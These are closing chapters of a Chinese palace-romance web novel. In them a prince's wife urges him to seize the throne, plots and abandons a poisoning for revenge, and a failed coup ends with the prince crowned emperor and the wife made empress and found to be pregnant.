过了年，陆续有周家族人上门拜年，今天开始，连朝中大臣都开始递帖子。 之前很多人以为睿王继承大统的希望大，除了少数观望派，大都倒向睿王。 毕竟宫里有德太妃和皇后支持，前朝又经营多年。 而秦王虽然权势大，可他这些年极少回京，满朝文武几乎没什么人是他提拔起来的。 又被皇上处罚。 除夕夜，皇上召秦王进宫，觥筹交错间，处处都体现出他们不寻常的兄弟情。 但凡有眼睛的谁看不出来，皇上还是中意秦王的。 是以年后，往秦王府递帖子的络绎不绝。 不过大都被秦王拒绝。 孙卿兆也在被拒之列。 不过他会爬墙头，又被端王看见，端王很大度的把他带进府。 周川行不喜欢孙卿兆，从头发丝到脚后跟，碍于其能力多几分容忍。 “以后再爬本王府墙头，非给你扔到边疆去。” 孙卿兆无所谓，“王爷抬爱，微臣就是太想念王爷才有此怪异之举。” 周川行恨不得把人扔出去，“再敢蛊惑王妃，看我不把你剁碎了喂狗。” 孙卿兆汗颜，他就是来找王妃“蛊惑”的。 唐兮暖穿戴整齐，在一众丫鬟的簇拥下来到前厅。 孙卿兆行完礼，谨慎道：“王妃，过年这段日子，微臣闲来无事，想到一些事情。” 唐兮暖注意到恨不得杀人的二郎，给孙卿兆使个眼色。 两人带上婢女转到书房密谈。 周川行颇为无奈地叹口气。 他是不是应该找先生教教夫人三从四德？ 孙卿兆这几天惦记的是书院。 “王妃娘娘，之前开办的书院，是为那些学子临时授课的地方，不知道您将来什么打算，这书院还要不要办下去？” 唐兮暖当然想办下去，她喜欢把自己懂得的算学知识教给学子们。 只不过秦王被处罚，如今还处于被禁足的情况。 他们想出王府都困难。 听孙卿兆的意思，她好像可以自由出入王府。 “当然要办，不过我只会算学，王爷平时还要给我请先生教授我其他课业，除了科举那段时间，没人会报我的书院吧。” 孙卿兆已有想法。 “大周朝十几年没有举办科举，去年那场也不算正规。 其一，参加科举的考生全由各地方举荐，生源问题很大。 其二，临时增设算学，很多学子都没基础，筛选出来的人才自热会有遗漏。 其三，流程也不规范。 其四，考后筛选也有问题。 ……” 孙卿兆一连列举了十几条问题，全是他总结的科举弊端。 唐兮暖都记在心里，“那我怎么办？” 孙卿兆：“为今之计，抓紧整顿国子监，并命令全国各地把书院办起来。” 十几年没有科举，很多地方的书院荒废，多年没有招生。 朝廷想要有源源不断的人才，这些书院的重要性不言而喻。 唐兮暖心里盘算着，周川行说过以后把太学交给她。 可如今周川行摄政的权利被剥夺，只怕有心无力。 “你想让我去国子监做女先生吗？” 孙卿兆赞许道：“王妃娘娘越来越聪明了。” 唐兮暖担心道：“可是二郎他不摄政了，连走出王府都很难，哪里管得了国子监。” 孙卿兆只当没听懂唐兮暖话里的意思，“现在只是出不去王府，等以后睿王做了皇帝，秦王只怕连命都保不住。”—— 作者有话说：还有两三章，修完就发。《 》 第102章【VIP】 第102章 唐兮暖被孙卿兆说得晕晕乎乎。 她仔细回忆这段时间发生的事情。 当初她来秦王府,目的是帮二郎争夺“家产”。 后来发现二郎忙的昏天暗地，连睡觉的时间没有，她暗暗发誓为他寻找人才。 之后她每天都到大街上搜寻。 可做伯乐不易,她费尽心思也没找到几个。 借着科举的机会，她开办书院，引来不少学子过来读书。 大部分学子都取得不错的成绩。 成功入朝为官。 可惜被皇上罢黜。 如今孙卿兆提议整顿国子监,她可以去国子监做先生，继续帮二郎寻找人才。 可二郎不摄政，也就不需要人才了啊。 她做这些还有什么意义？ “不对，孙大哥，二郎不摄政了，用不到人才了，我没必要再帮他寻找人才。” 曾经她一直努力想要达成的目标，随着周川行被处罚而变得不再重要。 忽然间，她好像迷失方向，不知道自己该做些什么了。 孙卿兆循循善诱,“秦王原来需要人才是为什么？” 唐兮暖当然知道了，“替他办差啊,他从早到晚处理朝政,每天都很辛苦，忙得连吃饭睡觉的时间都没有,有了人才，他就不那么辛苦了。 可现在,他没有差事了。” 接下来才是孙卿兆的目的。 “秦王他每天那么辛苦的处理朝政，是为什么？” 唐兮暖知道：“二郎心系天下，希望老百姓能过太平日子，我大哥……不是,大周朝打了几十年的仗，就盼着天下太平，海晏河清呢。” 终于说到点上了。 孙卿兆：“如果睿王上位，你觉得天下还能太平吗？还能海晏河清吗？” 睿王是个糊涂蛋。 唐兮暖听过他摄政后的八卦。 姚岳海连字都不识几个，因为是他舅舅就被任命户部尚书。 听说把国库都快搬空了，一口气花三十万两银子买美人。 过得比皇上都奢侈。 “他上位，用不了几年就得灭国。” 孙卿兆：“说的是，他上位，他家狗都能封个宰相，哪里还需要人才，像我这种秦王派，第一个就得被他清算，还谈什么理想，什么报复，什么为民请命。 至于天下太平，用了多久，战火再起，老百姓成为鱼肉。 像你们唐家那种冤案还不知道要炮制多少。” 唐家到现在都没平反，“那我唐家不是永远没有机会平反了？” 孙卿兆感叹道：t“别说平反，就连你，睿王都不会放过。” 这就难了，唐兮暖第一次如此厌恶一个人。 “我去把睿王杀了。” 孙卿兆：“第一，他身边都是护卫，你不一定有机会，再者，杀猪焉用牛刀。” 唐兮暖心里一喜：“你有办法？” 孙卿兆：“只要秦王做了皇上，一切问题还不迎刃而解。” 唐兮暖：“……” 她从来没想过这个问题。 孙卿兆：“皇上无子，只有三个弟弟，不是秦王就是端王或者睿王，怎么秦王就做不了皇上！” 这件事对唐兮暖来说太震撼了，她一时想不清楚。 “那个，你等我捋捋，今天就到这吧。” 所谓英雄难过美人关。 唐兮暖想做皇后，孙卿兆不信周川行还能忍住。 唐兮暖急急忙忙回了后宅。 周川行和端王一直在隔壁喝茶，只看见一个飘过去的黄色人影。 周川行不悦道：“也不知道孙卿兆又和她说什么了。” 端王起身：“我去把他叫过来问问。” 孙卿兆本来也没想瞒着周川行，如今被问起，他选择实话实说。 “王妃娘娘有天赋，埋没在后宅太委屈了。 这是老天爷赏赐，我等岂能不受。 微臣建议王妃娘娘去国子监做先生，将她所学传授给所有学子。” 周川行也不想埋没了王妃的才学。 可他如今自顾不暇，哪里有机会送王妃去国子监。 看出孙卿兆的野心，他没让对方说下去。 “行了，以后这些话你少跟她说。” 孙卿兆的使命已经完成，只等事情发酵了。 “诺。” 唐兮暖回到后宅，随手抄起本书胡乱翻了翻。 连翘看出她不开心，凑过去聊闲话。 “娘娘，唐家不能平反，全都是皇后的错，有她在，皇上就不可能给唐家平反。” 唐兮暖生气道：“那我怎么办？杀了她？除夕夜那天都没找到机会，她躲在皇宫里，我哪有机会。” 连翘早有应对，“这天底下权力最大的男人是皇上……” 唐兮暖：“你想让我当皇上？” 连翘：“……” 当然不是了，“我话还没说完，权力最大的女人就是皇后了。 谁当了皇后，还不是想做什么就做什么。 到时候她下一道懿旨，给唐家平反算什么，天下所有大事，她都能说的算。” 唐兮暖没想过这种可能。 原来当皇后有这么多便宜。 想太师府做过多少恶事，如今也只死三个人。 皇后灭刘承满门，连责任都不用负。 她还能给端王下旨赐婚。 如果自己做了皇后…… 一个大胆又悖逆的想法在唐兮暖心里悄悄萌芽。 她要…… 母仪天下！ “在想什么？” 唐兮暖完全沉浸在为家人平反，她可以随心所欲的做任何事情的幻想里，忽悠被人从身后抱住。 熟悉的气息侵袭，她第一时间认出自己的夫君。 “二郎，”唐兮暖回头瞧着他笑，“你走路都没有声音吗，吓我一跳。” 夫人越来越妩媚娇俏，周川行把人抱进怀里，轻轻蹭她软嫩的脸蛋。 “这么入神想什么坏事呢，跟夫君说说。” 唐兮暖才不会告诉他。 她最近跟着很多先生学习，明白妄想做皇后是大逆不道的重罪。 没有把握，她是不会轻易说出来的。 “我在想一会儿吃什么。” 夫人一双灵动的眼睛充满狡黠，周川行怎么察觉不到她在憋着什么坏心思。 夫人懂得越来越多，还有了自己的想法，如今都有不愿意告诉他的秘密了。 “你猜我信不信。” 唐兮暖还不擅长撒谎，主动凑上去亲他的脸颊，“反正早晚会告诉你就是了。” “真的？”周川行纵容道，眼里是无法掩饰的宠溺，低头去寻她红艳的唇瓣。 夫人的嘴软得令人心醉，接触上就舍不得分开。 两人很快在寒冷的冬日吻成一团火。 最后双双倒进红纱帐里。 一个月后，天气逐渐变暖。 唐兮暖和周川行在秦王府里度过了一个很愉快的冬天。 尤其周川行，每天沉浸在美人给与的柔情蜜意里，连今夕何夕都懒得分辨了。 不用上朝，不用批阅奏折，不用处理朝政。 王府成了他自懂事起，最温暖的地方。 难怪唐玄宗会春宵苦短日高起，从此君王不早朝。 自从成亲以来，他连王府大门都不想出。 每天读读书，赏赏雪景，逗逗夫人，兴致来了再酝酿一番。 哪还有比这更舒心的日子。 周川行不想出去，可憋坏了唐兮暖。 她自从见识过外边的世界，再也不愿意束缚在这一片狭小的天地里。 不过冬天寒冷，又有睿王和皇后虎视眈眈，她才忍着没出门。 这两天天气变暖，她心里仿佛长了草，再也忍不住想要见王府外边的花花世界。 “二郎，你真不想出门吗？” 周川行晃晃手腕上的铁链，“皇兄没下旨，只怕还不能出去。” 唐兮暖实在憋得难受，“那我好想出去呢。” 周川行看得出来夫人憋闷坏了，只不过担心夫人的安全。 “再忍忍，我求皇兄赦免，然后就能陪你出去了。” “好吧，”唐兮暖怏怏不乐地应道，“万一皇上不放你怎么办？” 周川行没想过那么多。 皇兄怎么处罚他都是应该的，何况只是禁足。 “等我递了折子再说。” 睿王几次进言要收走周川行的兵权，都被皇上推脱过去。 眼看着皇上身体一天不如一天，担心皇上驾崩后，他这个没有兵权的皇弟更加被动，打算先下手为强。 他一面联合禁军副统领、远在几百里地的藩王、京中有权利的王爵，一面让德太妃控制皇宫，一面命他安插进朝堂的所有官员在约定日期向皇上发难，请求皇上立皇太弟。 同时，他派人去北域搅动内乱。 只要十万灾民造反，皇上就得派周川行出征，届时，整个京城彻底落入他手。 等他断绝周川行粮草，保证周川行有去无回。 天下彻底成为他的囊中之物。 到时候他三推四让，登基为帝。 皇上清醒两个半月这天，户部尚书姚岳海带领多位文武百官向他进言，周川行公然违抗圣旨，擅杀太师，搅弄朝局，结党营私，贪赃枉法…… 累计触犯大周律法三十七条，每条皆应赐死。 皇上大怒，气得当场吐血。 当即下旨收缴周川行的兵权。 睿王本就摄政，皇上重病，他名正言顺独揽大权。 至此，已经没人敢在朝堂上为周川行说话了。 除了端王。 端王一面心疼皇兄病重，一面生气皇兄糊涂。 待皇上病情稳定，他急急忙忙赶到秦王府，将朝中所发生之事告诉周川行。 唐兮暖躲在门外悄悄听了全程。 她有理想，有报复，还有血海深仇。 不做皇后，由不得自己半点。 今天就是她凤凰涅槃之日。 “连翘，你帮我准备些东西，”她附在连翘耳边言明自己所需。 连翘答应完便去了。 半个时辰后，她准备妥当回来复命。 “王妃，您要这么多鹤顶红干什么，能毒死好几十人了。“ 唐兮暖就是要毒死几十人。 王太师一家六十三口只死了三口，还剩下六十人。 这些毒药便是为王太师一家准备的。 她命后厨做好饭菜，一会儿将这些鹤顶红全部搅进去。 年前皇上放了王太师一家，囚禁在太师府。 很明显，皇上不会为她一家平反。 二郎不想做皇上，等睿王登基，别说唐家，她也得和家人团聚去。 生死是小，这个仇她非报不可。 【正文完】 第103章 后宅弄出如此大的动静,周川行怎么可能听不到。 他把紫苏叫到面前，沉声询问：“怎么回事？” 紫苏不敢隐瞒，“娘娘要毒死王太师一家报仇。” 周川行怀疑给唐兮暖请这么多先生教她四书五经、礼义廉耻白教了。 “她胡闹,你们也由着她，抓紧把毒药处理了。” 紫苏领了命去处理。 唐兮暖听说她准备的毒药都被处理，气冲冲找周川行问罪。 “我一家惨死,你不帮我平反就算了，你还阻止我报仇，说什么喜欢我，照顾我全都是骗我的，你就是贪图我的身子，糊弄我。” 周川行可当不起这么重的指责。 “我怎么骗你了，不是一直在找机会。” 唐兮暖哼道：“你哪里找机会了？你每天懒懒散散沉浸在王府的小日子里，早已经失去斗志，你根本不是当初我认识那个二郎了。” 这话把周川行气笑了，“你当初认识的二郎什么样？” 唐兮暖：“那时的二郎虽然忙的没有时间,可他心里有一团火。时时刻刻把百姓放在心里，每天想着怎么让大周朝变得更好,让老百姓都过上太t平日子。” 周川行嗤道：“原来你想让我休息才是糊弄我的。” 唐兮暖斜着眼睛瞪他,“好不容易选出来的学子全被罢官，睿王那个糊涂蛋连我都不如,都摄政两个多月了，姚岳海每天风花雪月,光买美人一口气就花三十万两银子，国库都快搬空了。 这些你不急也就算了。 我家的冤案证据确凿，你也不肯帮忙。 指望不上你，我身为人女,亲自报仇总该没问题吧。” 周川行不得不服，他这个夫人说的还挺在理。 “你就没想过，你毒杀六十多人之后怎么办？” 唐兮暖又不是没想过，“能怎么办，能逃就逃，不能逃就死。” 这话触怒了周川行。 自从两人相识以来，不管唐兮暖做什么，他都没冷过脸色。 今天一口气憋在心口，不发出去实在难受。 他握着女子的手腕把人扯进怀里，沉眸盯着她姣好的面容。 这么软糯的夫人，很快把他的火气消了大半。 但他还是要说：“你死了，我怎么办？” 唐兮暖没想过这个问题。 她从五岁被送入侯府，一直禁锢在翠竹园那片狭小的院子里。 她的生命好像一直无足轻重。 逃出侯府遇到二郎，生命有了不一样的意义，可在她心里并没有对生命的敬畏。 她不知道一个人死亡对亲人意味着什么。 就算给父母报仇，也仅仅只是报仇。 忽然被周川行问到关键处，她心口一紧，有些迷茫的望着满脸怒气的男人。 周川行搂着她的后背，极力克制着发抖的手臂，尽量让自己平复下来。 “你有没有想过，没有你，我要怎么活下去？” “二郎……”唐兮暖张了张嘴，根本不知道怎么回复他。 周川行既委屈又难过的把人抱进怀里。 “暖暖，你不怕死，可是我怕。 以前怕死担心我军失败，外敌入侵，皇兄没办法抵挡。 母亲和弟弟妹妹无法保全自己。 百姓又要饱受战乱之苦。 所以我要努力活着，守护好这片土地。 如今怕死，是担心…… 我家姑娘无依无靠，没人护她周全。 更怕来世无法和她相见。 我还没和她朝朝暮暮，还没和她岁月白首。 没见过她中年的样子，老年的样子，没和她定下三世之约……” 周川行的声音逐渐哽咽。 唐兮暖逐渐能像正常人那般处理感情。 体会到他的难过，缓缓抬起手臂回抱住他。 “二郎，对不起。” 周川行把人抱得更紧一些，“知道错了就行，以后不许轻易决定生死，舍弃生命。” 唐兮暖贴着他的胸口，闷闷的点头。 周川行长嘘出口气，“仇我会帮你报的。” 唐兮暖持怀疑态度，“将来睿王做了皇上，他只会要我死，你说不许我轻言生死，可我怎么保护自己？” 周川行不说话。 唐兮暖忽然退开一些，仰头望着他，眼里充满期许。 “二郎，我想做皇后。” 周川行：“……” 唐兮暖：“好不容易找到寻找人才的方法，我还要去书院当先生，要给父母报仇，要活命，你不做皇上，我们两个都得死。 你舍得看我被睿王害死吗？ 我害死他两个没出世的孩子，我们两个有不共戴天之仇，他是不可能放过我的。 皇后也不可能放过我。 你或许有活命的机会，怎么说你也是他亲哥哥，是先皇血脉。 可我不一样。 只要你不做皇上，我就是逃到天涯海角都会被抓到。 就算不被抓，也要整天过着提心吊胆的日子。 你舍得吗？” 周川行当然舍不得。 可他从小读圣贤书，骨子里流淌的全是忠君爱国的思想。 皇兄给他的，他才能要。 皇兄不给，他只能受着。 今天小姑娘把现实摆到面前，他知道自己必须做出选择了。 登不上皇位，他护不住小姑娘。 “给我点时间。” 周川行没有太多时间考虑，因为睿王已经开始行动了。 按照睿王计划好的，二月十八这天，他笼络的一群文臣向皇上发难，处死周川行，立他为皇太弟。 一切顺利，他登基为帝。 否则，他联络的所有武将率兵逼宫。 再用加盖玉玺的诏书赐死周川行。 只要皇上在他手上，没有了兵权的周川行，不怕他不肯就范。 周川行得到消息的时候，他正和唐兮暖下棋。 小姑娘棋技高超，走一步算十步，一共下了三盘，他一盘都没赢。 甚至小姑娘允许他悔棋。 左右还有两个军师，这种情况他都没办法胜过小姑娘。 心里多少有遗憾。 这么聪明的夫人，如果他们两个有孩子，不知道是何光景。 其实他不热衷争夺帝位还有一个原因。 皇上无子，几个弟弟争得头皮血流。 待他上位，将来还会面临这种局面。 倒不如现在就把皇位让给别人，他和夫人游山玩水，做一对神仙眷侣，自由自在地度过今生。 可惜端王没有做帝王的资质。 睿王自私狭隘，没有大局观，根本不会把百姓放在心里。 大周朝平息战火，得到如今的太平盛世，是他打了十几年的仗用几十万将士的生命拼回来的。 他怎么忍心眼睁睁看着江山再度陷入战火。 再者，夫人和皇后、睿王都有不共戴天之仇，他没有皇权，根本护不住她。 当初，他从武安侯府门口接到她，就在心里许诺，护她一世周全。 只是让他当皇上，又不是要他的命，怎么能不尽力。 “暖暖，”周川行扔下棋子，握着唐兮暖两只软糯的小手，“乖乖留在府里，为夫去给你争天下最宝贵的东西。” 唐兮暖要做皇后是真心。 担心二郎的安全并非假意。 “二郎，我跟你一起去。” 周川行把人抱进怀里，仿佛拥抱着全世界一般，“别怕，我肯定会安然无恙回来接你的。” 唐兮暖乖巧的点点头：“那你快去快回，我等你回来。” 她解下腰上的玲珑，想要塞给周川行。 被他拒绝。 “你留着保护自己，我不需要。” 周川行命令陶罐留下，带领紫苏几人保护唐兮暖的安全。 唐兮暖紧紧握着一只白色的小瓷瓶，眼中含泪，恋恋不舍地望着周川行，“那天给王太师一家准备的毒药，我留了一瓶，如果你不能平安回来，我就喝了它，生生世世都陪着你。” 周川行转头将快要溢出来的眼泪逼回去。 “我不会让你有这个机会的。” 接下来，周川行带人一路杀进皇宫。 皇上虽然收了他的兵符，不过事后又悄悄送还给他了。 如今京城里的将士大部分都是跟随他十几年久经沙场之士。 只等他振臂一呼。 族谱单开一页，封侯拜相，家族荣耀，封妻荫子…… 哪一项不值得拼命。 睿王笼络的人全都是乌合之众，不到两个时辰，就被斩杀大半，只剩残余势力拼死挣扎。 端王和楚衍晴以及朝栎公主早被睿王骗进宫。 此刻和皇上一起被囚禁在养心殿。 周川行杀入皇宫，睿王眼见着大势已去，他将刀横在皇上脖颈处，逼迫周川行自裁。 “二哥，我为什么能成功？因为我没你那么多软肋。” 此刻睿王左边是楚衍诺，右边是魏敏昭。 两人从小习武，护着他杀死皇上轻而易举。 周川行眼见着皇兄被挟持，双眼冒火，“老四你个畜生，抓紧把皇兄放了。” 皇上是睿王的保命符，他怎么可能放人。 “你不死，我是不会放的，今天到了验证你们兄弟情深的时候，我倒是看看你是自己死还是让皇兄死。” 端王中了毒，一点功力都发挥不出来。 “二哥，你死不死他都不会放了皇兄。” 睿王的兵虽然败了，可挟天子以令诸侯，他还是有一大半胜算的。 “楚世子，你去杀了周川行。” 楚衍晴急忙阻止：“大哥，你不要为虎作伥，再错下去。” 楚衍诺剑指周川行，“只要你放我表妹离开，我立刻从这里出去，不管你们之间的争斗。” 周川行答应了夫人，他会回去。 夫人已经准备好毒药，他回不去，她也不会独活。 可皇兄的生命…… “楚世子，我和暖暖是真心相爱，我是不会放她走的。” 睿王高兴极了，“楚世子，你杀了他，唐兮暖就是你的，本王发誓，到时候亲自为你们主婚。” 楚衍诺手起剑落。 那剑落得极为干脆，直接刺穿睿王腹部。 睿王手一抖，划破皇上脖颈。 两人皆受重伤。 周川行在乎皇上生命，楚衍诺可不在乎。 孙卿兆说的不t错，既然他和表妹注定无缘，那就将她推到最尊贵的位置上。 哪怕千刀万剐，他也在所不惜。 “楚衍诺你……” 睿王简直无法相信，关键时刻楚衍诺会把剑锋瞄准他，“不得好死。” 楚衍诺毫不犹豫拔出利剑，犹如一头嗜血的恶狼，他用衣袖擦拭掉剑刃上的血迹。 “我能不能好死，睿王你是看不到了。” 他揪过睿王，冲着睿王的残兵败将高喊，“你们的主子已经伏诛，都给我放下武器。” 养心殿瞬息万变，周川行急忙冲上去救治皇上。 魏敏昭眼看着睿王只剩下一口气，抵挡下去毫无意义，干脆扔了睿王逃出皇宫。 端王中了软骨散，全身无力，挣扎着奔到皇上身边。 眼看着皇上脖颈中剑，心急如焚，“皇兄，快叫太医，太医——” 皇上奄奄一息，挣扎着从怀里摸出他提前准备好的遗诏。 “阿行，皇兄……不行了，这大周朝的江山就交给你……” “不可，”皇后忽然赶过来，抢走皇上手里的圣旨。 她一手抚着自己小腹，一手握着圣旨，怀着十分坚毅的心情道：“臣妾已有两个月身孕，太医说了多半是个太子，皇位怎么能传给别人。” 睿王还剩下一口气。 此刻十分欣慰。 他是不行了，可他留下了孩子。 只要这个孩子登上皇位，和他登上皇位有何区别。 皇上乍一听说自己有孩子了，弥留之际难免惊厥、狂喜。 他努力伸出手，朝着皇后，“朕……有太子了？” 皇后不敢靠近周川行，隔着一步远的地方点头，“皇上，我们有太子了，皇位不能传给任何人，待臣妾七个月后生下皇子，就扶持他登基。 让二弟和三弟摄政……” 皇后话没说完，一把长剑从她身后刺入，感觉到疼痛，她低头就见滴着血的剑刃从她腹中穿过。 睿王眼看着皇后中剑，最后一点希望破灭，他像野兽一般发出嘶鸣，很快倒在一片血泊中。 皇后身为一名手无缚鸡力的弱女子女子，被一剑穿透腹部，几息间便香消玉殒。 楚衍诺擦掉脸上的血滴，收回长剑。 随即夺过皇后手里的圣旨，当众宣布：“奉天承运皇帝，诏曰：大周朝已历一百九十四年，正值多事之秋，内有奸佞蠹虫清除不尽，外有群狼虎视眈眈…… 朕特为大周朝选下一位圣主明君，由他带领大周朝走向繁荣富庶。 周川行十三岁上阵杀敌，所参加战役上百场，无一败绩。 素有悲天悯人之心，望其能在朕百年之后做一名圣明开拓的君主，以慰朕心……” 这道圣旨下的很长。 有皇上自悔，也有对下一任皇帝的期许。 还有额外嘱咐。 宣旨之日，周川行立即登基。 大行皇帝身后事一切从简…… 孙卿兆一直躲在柱子后边，楚衍诺宣读完圣旨，他立刻命人带上黄袍给周川行披上。 “新皇在此，所有乱臣贼子立刻伏诛。” 这一刻，众人朝见新帝山呼万岁之声不绝于耳。 从养心殿传出去，仿佛鹰击长空一般，撕开云雾，盘旋在皇宫上空，随后扩散至整个京城，直至满大周朝。 周川行眼看着皇兄死在自己怀里，悲痛欲绝。 父皇母后先后过世，如今连兄长也弃他而去。 从此以后，再也没有人站在他身前为他遮风挡雨。 他望着跪在殿里的所有臣子，还有这万里江山，肩头责任越发沉重。 …… 当晚皇宫太乱，周川行派人给唐兮暖报平安，又派了大批侍卫保护她。 打算用两天时间清理宫里叛逆，第三天再接她入宫。 皇后和德太妃在后宫经营十几年。 谁也不能保证一下把叛贼余孽清理干净。 不过当天晚上，唐兮暖就换上男装悄悄进宫了。 扮成一个小太监，一直陪在周川行身边。 周川行率领端王、朝栎以及皇家族人和众文武大臣，全部着丧服跪在灵堂前。 为大行皇帝送行。 “二郎，节哀。”唐兮暖不知道怎么安慰周川行，失去最亲的亲人，他肯定很难过很难过。 周川行忍着心里的巨大悲痛，瞧着身着太监服侍的夫人。 往后余生，只剩下他们两人互相扶持，走过接下来的万水千山，岁月苍穹。 “暖暖……”他声音哽咽，九尺男儿也有控制不住的悲恸，“我没有兄长了。” 唐兮暖轻轻抱住他，像哄小孩子一般哄道：“皇兄那么爱你，肯定会在天上保佑你的，他肯定不希望你悲伤太过，未来的路还长，我陪你一起。” 这一刻，周川行需要巨大的精神支撑。 唐兮暖就是那个能撑住他的人。 “暖暖，我只剩下你了，别扔下我。” 唐兮暖心疼他，此刻一向坚强的男人仿佛一只脆弱的小娃娃。 尤其抱着她，请求她别扔下他时，那股支离破碎的脆弱感令她呼郁结。 “傻瓜，我们是夫妻，我怎么可能扔下你。” 不管怎么说，周川行都是皇上了。 他不能当着众人的面和夫人太过腻歪。 只抱一会儿就放开了她。 “暖暖，听话，跟着魏公公去休息，这里有我就够了。” 唐兮暖不放心，“我陪你。” 周川行担心她身体。 处理先皇后事没一个月结束不了。 夫人好不容易调养好的身体，可不能熬坏了。 “去吧，我还有些事情需要处理，你留在这里无益。” 唐兮暖离开后不久，周川行命人将楚衍诺打入死牢。 他上任第一件事就是剥夺武安侯爵位。 楚衍诺刺杀先皇后，还是有孕的先皇后，不处理无法向世人交代。 经过钦天监推演，先皇过世第七天大吉，正适合举行登基大典。 周川行把户部尚书、礼部尚书和楚衍晴、姚麟都叫到面前，询问：“按惯例，登基大典得花费多少银子？” 两位老糊涂的尚书面面相觑。 姚麟和楚衍晴倒是早有准备。 不过姚麟面对新帝，一时摸不准新帝的心思，没敢开口。 楚衍晴年轻识浅，经验少，只能给出一个大概数字：“如果不需要改建宫殿，只有帝后冠服、金银珠宝等物和场地布置、筵宴等大概要三百万两白银。” 国库空虚，三百万两银子只为办一场大典，着实奢靡。 周川行皱眉，“那封后大典呢？” 楚衍晴：“先皇后封后的总花费，我这两天查过，当时花了也是三百万两。” 周川行沉思片刻，“合一起办。” 户部尚书脸色快沉成水了。 新皇什么心思，他明镜似的。 两场大典合到一起，所需之物包括场地、冠服等等一次解决，至少省一半银子。 大周朝最富裕的时候，新皇登基耗费白银都是千万两级别。 新皇可是省到极限了。 他是个老狐狸，以前周川行没登基，他糊弄一次是一次。 如今登上皇位，可是一个手握兵权的实权皇帝，他还想做这个尚书，肯定要尽心尽力办差。 脑子稍微转转，就想到了很多省银子的办法。 随后逐条献给新帝。 周川行十分满意。 既要外表风光，新帝登基给大周朝一个新气象，又尽量少花银子。 将登基大典和封后大典的预算压缩到两百万两内。 接下来，他连下五份查抄圣旨。 睿王府、姚岳海的尚书府、魏国公府、右丞相府和姚太傅府。 共查抄白银五百万两，珠宝田产无数。 登基大典和封后大典同时举行。 周川行还送了唐兮暖一份大礼，为唐家平反，王太师一家满门抄斩。 唐兮暖见到平反圣旨时，忍不住落了泪。 “皇上……” 他们唐家蒙冤十五载，终于平反昭雪。 父母在天有灵，可以安息了。 周川行亲自为他的皇后擦掉眼泪，“我还是喜欢你喊我二郎。” 唐兮暖忍着哭意，轻轻喊他：“二郎。” 这声二郎把周川行这颗硬汉心化成水。 “暖暖，”他把人抱进怀里，“一会儿登基大典和封后大典同时举行，会先祭拜祖陵，之后接见文武百官，流程十分繁琐复杂，你只需和我一起祭拜祖陵就行了，乖乖听话，好好休息，别让我操心。” 自从先帝驾崩，唐兮暖虽然没做什么，可每天都要去灵堂前跪拜。 如今她是中宫皇后，很多事情宫人不知道怎么办都要找她做主。 虽然她也没帮上什么忙，不过操心是少不了的。 比如这两天她一连封了三个后宫女官，分别负责先皇安葬和新皇登基事务。 这两天确实有些疲惫。 尤其大典前三天斋戒三日不能沾荤腥，她感觉自己力气都不如以前大了。 对周川行的叮嘱，她表现的十分乖顺，“放心吧，我会照顾自己。” 登t基大典正式开始。 周川行携唐兮暖和众文武百官以及各皇室成员和京城所有诰命夫人，三跪九叩祭拜先祖。 皇后朝服很重，再加头上的凤冠和其它头饰，压得唐兮暖拿出所有力气才撑到祖陵。 到三跪九叩环节，她才磕下一个头就抬不起来了。 不想给二郎丢脸，也不想被周家先祖嫌弃，她只能咬紧牙关听礼部指挥的号子，艰难的做出行动。 可磕到第八个头的时候，她还是没坚持住，昏了过去。 临昏迷前，她满心都是对自己的嫌弃。 她肯定是第一个封后大典晕倒的皇后。 当着众文武百官的面，她竟然没坚持完三跪九叩。 是不是周家先祖不接受她这个儿媳妇。 “来人，传太医——” 周川行眼见着唐兮暖昏迷，慌忙赶过去把人抱住。 早知道她身体不好，又跟着熬这些日子。 担心她受不住，只让她坚持完祭拜先祖，可她这身体竟然连祭祖都没熬过去…… “这皇后的身体是不是太差了点。” “说的是呢，皇上在潜底竟然没纳侧妃。” 很快有皇室成员窃窃私语，有的是真为皇上担心，有的则打了别的主意。 “登基大典结束，皇上也该充盈后宫了。” “皇后这个身体状况，怎么繁衍子嗣，到时候像先皇一样，对朝廷来说可不是好事。” …… 周川行恍若未闻，只等太医过来检查。 张太医是第一个赶过来的，他手指往唐兮暖脉搏上一搭脸上很快溢出喜气。 “恭喜皇上，皇后娘娘大喜，您很快就要有一位皇子或者公主了。” 周川行怀疑自己出现幻觉了。 去年就是张太医给唐兮暖检查的身体，断言她很难成孕。 他已经做好了一辈子不要孩子的打算。 “你说真的？” 这种大事，张太医怎么可能撒谎。 “皇上，肯定是先祖显灵，否则怎么会在今天发现皇后怀孕了。” 接下来，又有两位太医诊断，皆和张太医同样结论。 周川行终于从虚处落到实处了。 他亲自把唐兮暖安顿好，然后回到老祖宗面前磕头感谢。 他周川行有孩子了。 有孩子了！！！ 接下来所有流程一切从简，周川行不放心把唐兮暖交给任何人，他亲自送回寝宫，命人紫苏等人轮班值守，这才赶到勤政殿接见众文武大臣。 新皇登基，肯定要宣布很多政令。 周川行本来打算和文武百官交交心。 自从知道唐兮暖怀孕，一颗心早飞到夫人身边。 耐着性子听完诏令，走完剩下的登基流程便命众臣散去。 他则急急忙忙赶到唐兮暖所住的坤元宫。 唐兮暖刚醒不久，听说自己怀孕了，惊喜之余更多的是束手无策。 张太医还没走，她把人叫到身边问：“二郎……皇上伤了身体不是要不了孩子么，怎么又能要了？” 张太医反应片刻，直言道：“皇上身体一直没问题，想来是皇上担心娘娘体弱才有此一说。” 唐兮暖第一次发现真相。 免不得了为有这样贴心的相公而感动。 想到自己听周川行说起不要孩子的事，还跟他吵了一架。 此刻越发觉得自己不讲道理。 看见周川行从门外进来，她急急忙忙迎上去，连鞋都没顾上穿。 “二郎，我们有孩子了，有孩子了。” 周川行一颗心全在他的皇后身上，注意到她连鞋都没穿，俯身把人抱起来。 “太医让你多休息，还光着脚下地。” 唐兮暖实在太欢喜一时忘了这些小节。 她紧紧握着周川行的手指，不停地重复着，“我们有孩子了。” 周川行比她还开心。 兄弟三人只有兄长有个女儿，他们周家人丁实在太过单薄。 之前他一想到几十年宫里都只有他们夫妻两个，难免荒凉。 很快就会有个容貌酷似他们两个的小宝宝出生，以后喊他父皇，喊她母后，欣慰之感便油然而生。 “暖暖，你真是我的福星，谢谢你。” 唐兮暖哪好意思居功，“这种事情都是两人一起努力才行呢。” 周川行这种人也有不好意思的时候。 “知道为夫辛苦就好。” 当晚周川行哪都没去，和唐兮暖一起吃晚饭两人一起休息了。 自从先皇驾崩，周川行几乎没合过眼，今天举行完登基大典，又知道自己有了孩子，心安理得，身体挨到床上没一会儿就睡了过去。 